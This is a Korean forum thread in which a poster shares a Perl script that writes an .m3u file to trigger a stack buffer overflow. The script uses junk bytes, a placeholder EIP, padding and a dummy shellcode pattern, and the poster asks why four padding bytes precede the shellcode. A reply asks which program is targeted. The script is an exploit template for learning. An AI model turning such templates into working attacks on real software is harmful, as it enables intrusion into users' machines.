BOF할때 pop pop return 이나 push return를 eip에 덮을때 질문입니다.
글쓴이: badwood / 작성시간: 화, 2012/05/15 - 11:15오후
my $file= "test1.m3u"; my $junk= "A" x 26094; my $eip = "BBBB";(여기에 pop pop return주소나 push return주소를 넣겟죠) my $preshellcode = "XXXX"; my $shellcode = "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK" . "5ABCDEFGHIJK6ABCDEFGHIJK" . "7ABCDEFGHIJK8ABCDEFGHIJK" . "9ABCDEFGHIJKAABCDEFGHIJK". "BABCDEFGHIJKCABCDEFGHIJK"; open($FILE,">$file"); print $FILE $junk.$eip.$preshellcode.$shellcode; close($FILE); print "m3u File Created successfully\n";
위처럼 exploit코드를 넣습니다.
만약 preshellcode를 안넣으면 쉘코드 시작이
1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK"
^ D부터 시작합니다 즉 4바이트 후부터 시작하는거지요
제가 원하는건 쉘코드가 1부터 읽어져야하는데 말이지요..
그래서 preshellcode인 "XXXX" 4바이트를 넣는데요
이부분이 제가 이해한 부분으론
4 바이트가 반환 값을 위해 예약되어 있다고 알고있는데요.
이것이 정확한것인지....답변 부탁드립니다 고수님들 ㄷㄷ
Forums:
흠
BOF 는 대상 프로그램에 따라서 방식이 다 달라지는것이고
스택 위치랑 리턴주소 위치도 다 다르기 때문에
공격 대상 프로그램에 대한 언급없이 말씀하시면
무슨말인지 잘 모르겠네요
리턴주소에 쉘코드의 시작주소를 덮어써야 할텐데..
pop pop return 이나 push return 주소라는건 뭔가요?
preshellcode 도 처음듣네요
자기실력이 좋다고 느껴지는건 공부를 안하고 있다는 신호.
댓글 달기